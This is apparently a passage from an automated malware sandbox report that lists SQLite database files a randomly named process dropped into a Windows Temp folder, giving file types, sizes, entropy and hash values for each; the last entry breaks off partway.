SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HywXUMI3h6

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IH3efSOE3x

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IgIGflH6Fv

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IgJIsC2bdT

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IwWGe7C2En

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IxEK1fq2XY

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\J0GF4G7L49

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JWpPzCJOs8

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JoqRm6JDBE

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\K9b7NkCx7g

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KDSrAB9Ggx

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\L983ARMqGw

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LCSF4Vpyz4

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MPd4dmCGmB

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mt8pbGrFQs

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NAzK4nYR4E

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\O28a1qBBDe

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OFjQZB9bNl

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OGVdasuS1t

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OL8MMawhal

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OSnXcSc0Cm

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OmVi3cd65F

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ovkl5ZsbyU

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\P1LPVYqpAI

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\P2vPeCK9G6

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\P9MK7leq5n

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
